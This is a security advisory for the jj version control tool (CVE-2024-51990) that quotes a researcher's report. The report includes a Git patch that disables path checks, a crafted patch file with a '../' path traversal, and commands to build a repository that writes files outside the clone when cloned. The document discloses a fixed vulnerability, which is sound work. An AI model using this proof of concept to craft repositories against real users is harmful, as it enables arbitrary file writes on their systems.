Impact

Specially crafted Git repositories can cause jj to write files outside the clone.

Patches

Fixed in 0.23.0.

Workarounds

Not much other than to not clone repositories from untrusted sources.

References

Here's the original report from @joernchen:

When cloning a crafted Git repository it is possible to let jj write
into arbitrary directories. This can be achieved by having file objects
which contain path traversals.

Reproduction steps:

Apply the following patch to Git version v.2.47.0:

diff --git a/path.c b/path.c
index 93491bab14..2f47e69fd1 100644
--- a/path.c
+++ b/path.c
@@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)

 static const char *cleanup_path(const char *path)
 {
-       /* Clean it up */
+       /* Clean it up
        if (skip_prefix(path, "./", &path)) {
                while (*path == '/')
                        path++;
-       }
+       }*/
        return path;
 }

@@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)

 int normalize_path_copy(char *dst, const char *src)
 {
-       return normalize_path_copy_len(dst, src, NULL);
+//     return normalize_path_copy_len(dst, src, NULL);
+       memcpy(dst, src, strlen(dst));
+       return 0;
 }

 int strbuf_normalize_path(struct strbuf *src)
diff --git a/read-cache.c b/read-cache.c
index 3c078afadb..2eb44cb26f 100644
--- a/read-cache.c
+++ b/read-cache.c
@@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,
                                                    unsigned mode)
 {
        char c = 0;
+       return PATH_OK;

        if (has_dos_drive_prefix(path))
                return PATH_INVALID;

With this patched git binary we can now apply a crafted
patch containing a path traversal to a repository.

The patch would look like:

From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001
From: joernchen <[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)>
Date: Sun, 13 Oct 2024 18:09:50 +0200
Subject: [PATCH] z123

---
 z | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 z

diff --git a/../joernchen_was_here b/../joernchen_was_here
new file mode 100644
index 0000000..e69de29
--
2.46.1

Note the traversal ../joernchen_was_here in the patch. This now can be committed to a repository
using the modified git binary:

mkdir demo
cd demo
git init
./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch
rm ../joernchen_was_here # remove the file the modified git wrote

Now, when cloning that repository with jj git clone the path traversal will write above the worktree
directory, allowing arbitrary file writes.

I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For
reproduction it should be sufficient to do jj git clone demo.git after unpacking the tarball.

The demo repository after being cloned with jj will create an empty file joernchen_was_here right next
to the demo directory to demonstrate the traversal.

References

• GHSA-88h5-6w7m-5w56
• https://nvd.nist.gov/vuln/detail/CVE-2024-51990